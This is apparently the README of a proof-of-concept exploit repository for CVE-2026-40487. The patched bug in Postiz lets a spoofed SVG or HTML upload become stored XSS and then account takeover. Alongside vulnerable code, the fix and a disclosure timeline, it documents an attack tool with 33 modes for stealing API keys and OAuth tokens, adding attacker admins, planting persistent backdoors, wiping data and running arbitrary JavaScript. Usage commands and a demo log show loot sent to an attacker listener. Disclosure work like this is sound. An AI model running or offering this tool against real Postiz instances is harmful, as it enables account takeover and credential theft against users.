Files
astaruf-cve-2026-40487/README.md
T
Lorenzo Anastasi cf4fba64b2 Update README.md
2026-04-22 21:37:23 +02:00

308 lines
13 KiB
Markdown

# CVE-2026-40487 - Postiz <= 2.21.5 - Arbitrary File Upload via MIME-Type Spoofing to Stored XSS to Account Takeover
<p align="center">
<img src="https://img.shields.io/badge/CVE-2026--40487-red?style=flat-square"/>
<img src="https://img.shields.io/badge/CVSS_v3.1-8.9_High-orange?style=flat-square"/>
<img src="https://img.shields.io/badge/CWE-345%20|%20434%20|%2079-blue?style=flat-square"/>
<img src="https://img.shields.io/badge/Postiz-≤_2.21.5-critical?style=flat-square"/>
<img src="https://img.shields.io/badge/Status-Patched-green?style=flat-square"/>
</p>
Discovered & reported by: [Astaruf](https://www.linkedin.com/in/lorenzoanastasi/)
Full writeup: [https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/](https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/)
NVD entry: [https://nvd.nist.gov/vuln/detail/CVE-2026-40487](https://nvd.nist.gov/vuln/detail/CVE-2026-40487)
GHSA entry: [https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx](https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx)
CVE Record: [https://www.cve.org/CVERecord?id=CVE-2026-40487](https://www.cve.org/CVERecord?id=CVE-2026-40487)
---
## Summary
[Postiz](https://github.com/gitroomhq/postiz-app) is an open-source social media management tool with 28+ platform integrations (Instagram, X, LinkedIn, Facebook, TikTok, etc.), used by 600+ instances exposed on the internet.
A low-privileged attacker can upload a malicious SVG (or HTML) file with a spoofed `Content-Type: image/png` header. The server accepts the file without inspecting its actual content, preserves the original extension, and nginx serves it with the Content-Type derived from that extension (`image/svg+xml`). When a victim opens the URL, the embedded JavaScript executes in the application's origin, giving the attacker **full session riding capabilities** equivalent to account takeover.
The attack chain:
```
Attacker uploads .svg with Content-Type: image/png
-> Server validates only the Content-Type header (CWE-345)
-> File saved to disk with original .svg extension (CWE-434)
-> nginx serves it as image/svg+xml
-> Browser executes embedded JavaScript (CWE-79)
-> Same-origin: full access to victim's session
```
## Impact
The XSS payload executes **same-origin** with the application. Even though the auth cookie is `HttpOnly`, `fetch()` with `credentials: "include"` automatically attaches it. The attacker can:
- Exfiltrate the victim's profile, API keys, OAuth tokens for all connected social accounts
- Read, create, modify, and delete scheduled posts across all platforms
- Invite the attacker as admin in the victim's organization
- Create a persistent OAuth backdoor (`pos_*` token that never expires and survives password changes)
- Disable notifications, wipe configurations, force logout
- Execute arbitrary authenticated API calls as the victim
## Vulnerability Details
Three components fail independently, creating the exploit chain:
### 1. MIME-Type Validation Trusts Client Input (CWE-345)
`libraries/nestjs-libraries/src/upload/custom.upload.validation.ts`:
```typescript
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
```
`value.mimetype` comes from the `Content-Type` header in the multipart request, which the attacker controls. No magic byte inspection, no use of libraries like `file-type`.
### 2. Original Extension Preserved on Disk (CWE-434)
`libraries/nestjs-libraries/src/upload/local.storage.ts`:
```typescript
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
```
`extname(file.originalname)` extracts the extension from the client-supplied filename. No check for consistency between declared MIME type and extension. The server also returns the full public URL in the response, so the attacker gets the link to send to the victim.
### 3. nginx Serves with Extension-Derived Content-Type
```nginx
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
```
nginx maps `.svg` to `image/svg+xml`, `.html` to `text/html`. No `Content-Security-Policy`, no `X-Content-Type-Options: nosniff`, no `Content-Disposition: attachment`.
## Proof of Concept
### Requirements
```
Python 3.8+
pip install requests
```
### Quick Start
```bash
# 1. Check if target is vulnerable
python3 poc.py http://target:5000 -e attacker@evil.com -p password --check
# 2. Exfiltrate everything from the victim
python3 poc.py http://target:5000 -e attacker@evil.com -p password \
--lhost YOUR_IP -a full-dump
# 3. Create a persistent backdoor
python3 poc.py http://target:5000 -e attacker@evil.com -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Reuse the token without credentials
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
```
### Attack Flow
```
Attacker Server Postiz Victim
| | |
|-- 1. Login/Register -------->| |
|-- 2. Upload SVG malevolo --->| |
|<---- URL del file -----------| |
|-- 3. Send URL to victim ---------------------------> |
| |<--- 4. Opens URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS executes, exfils data -----------|
```
### All Attack Modes (33)
<details>
<summary><b>Exfiltration</b> (19 modes) - steal victim data</summary>
| Mode | Description |
|---|---|
| `dump-self` | Victim profile, org info, tier, API key |
| `dump-personal` | Display name, bio, profile picture |
| `dump-integrations` | Connected social media integrations and tokens |
| `dump-posts` | Scheduled and draft posts (last 365 days) |
| `dump-team` | Team members, roles, and email addresses |
| `dump-media` | Media library listing |
| `dump-notifications` | Notification history |
| `dump-signatures` | Post signatures |
| `dump-webhooks` | Configured webhooks and their URLs |
| `dump-oauth-app` | OAuth app credentials (clientId, secret) |
| `dump-copilot` | AI copilot conversation threads |
| `dump-billing` | Billing and subscription info |
| `dump-settings` | Shortlink and notification settings |
| `dump-third-party` | Third-party integration configs |
| `dump-autopost` | Autopost rules |
| `dump-sets` | Content sets |
| `dump-tags` | Post tags |
| `dump-customers` | Customer list |
| `full-dump` | All of the above in a single payload |
</details>
<details>
<summary><b>Privilege Escalation</b> (3 modes)</summary>
| Mode | Description |
|---|---|
| `add-admin` | Invite attacker as ADMIN in victim's org (`--attacker-email`) |
| `rotate-key` | Rotate org API key and exfiltrate it |
| `rotate-oauth` | Rotate OAuth app secret and exfiltrate it |
</details>
<details>
<summary><b>Sabotage</b> (9 modes) - destructive actions</summary>
| Mode | Description |
|---|---|
| `kill-notifications` | Disable all email notifications |
| `edit-profile` | Modify victim's name and bio (`--edit-name`, `--edit-bio`) |
| `wipe-signatures` | Delete all post signatures |
| `wipe-webhooks` | Delete all webhooks |
| `wipe-tags` | Delete all tags |
| `wipe-sets` | Delete all content sets |
| `wipe-autopost` | Delete all autopost rules |
| `logout-victim` | Force-logout the victim |
| `delete-oauth-app` | Delete victim's OAuth application |
</details>
<details>
<summary><b>Backdoor</b> (2 modes) - persistent access</summary>
| Mode | Description |
|---|---|
| `create-oauth-app` | Create OAuth app, auto-approve, exfiltrate persistent `pos_*` token (`--oauth-redirect`) |
| `steal-cookie` | Steal auth JWT via `document.cookie` (when `NOT_SECURED=true`) |
</details>
<details>
<summary><b>Generic</b> (2 modes) - advanced</summary>
| Mode | Description |
|---|---|
| `api-call` | Arbitrary authenticated API call (`--api-method`, `--api-path`, `--api-body`) |
| `custom` | Execute arbitrary JavaScript (`--custom-js`) |
</details>
### Additional Options
| Option | Description |
|---|---|
| `--check` | Probe if the target is vulnerable (no attack executed) |
| `--register` | Register a new account before login |
| `-t / --token` | Use API key or `pos_*` token instead of credentials |
| `--format html` | Use HTML payload instead of SVG |
| `--proxy` | Route traffic through HTTP/SOCKS proxy (e.g. Burp Suite) |
| `-o / --output` | Save loot to JSON file |
## Demo
```
$ python3 poc.py http://target:5000 -e attacker@evil.com -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload
[*] Logging in as attacker@evil.com ...
[+] Authenticated.
[*] Generating payload: Exfiltrate everything in a single payload
[*] Uploading malicious .svg with Content-Type: image/png ...
[+] Upload successful.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Starting exfiltration listener on 0.0.0.0:8888 ...
=================================================================
Send this URL to the victim:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] Waiting for victim to open the link ...
[+] Loot received @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"victim@company.com","orgId":"...","publicApi":"bd332945..."}
[+] Loot received @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] Loot received @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"admin@company.com","role":"SUPERADMIN"}]
...
```
## Fix
Version 2.21.6 introduced three changes:
1. **Magic byte validation** using the `file-type` library to inspect actual file content
2. **Explicit MIME type allowlist** (no more `image/*` catch-all)
3. **Extension override** based on detected content type
## Timeline
| Date | Event |
|---|---|
| 2026-04-10 | Vulnerability discovered during source code review |
| 2026-04-10 | Reported via GitHub Security Advisory (GHSA) |
| 2026-04-10 | Developers acknowledged and requested clarification |
| 2026-04-10 | Detailed attack scenarios and Shodan data provided |
| 2026-04-11 | CVSS dispute submitted with evidence |
| 2026-04-13 | Fix released in v2.21.6 |
| 2026-04-14 | CVE-2026-40487 assigned |
| 2026-04-15 | Public disclosure |
## References
- [Full Astaruf writeup](https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/)
- [CVE-2026-40487 - GHSA Security Advisory](https://github.com/gitroomhq/postiz-app/security/advisories)
- [CVE-2026-40487 - NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2026-40487)
- [Postiz - Official Repository](https://github.com/gitroomhq/postiz-app)
- [Postiz v2.21.6 - Fix Release](https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.6)
- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)
- [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
- [CWE-79: Stored Cross-Site Scripting](https://cwe.mitre.org/data/definitions/79.html)
- [OWASP - Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload)
## Disclaimer
This tool is provided for **authorized security testing and educational purposes only**. Use it only against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
## License
[MIT](LICENSE)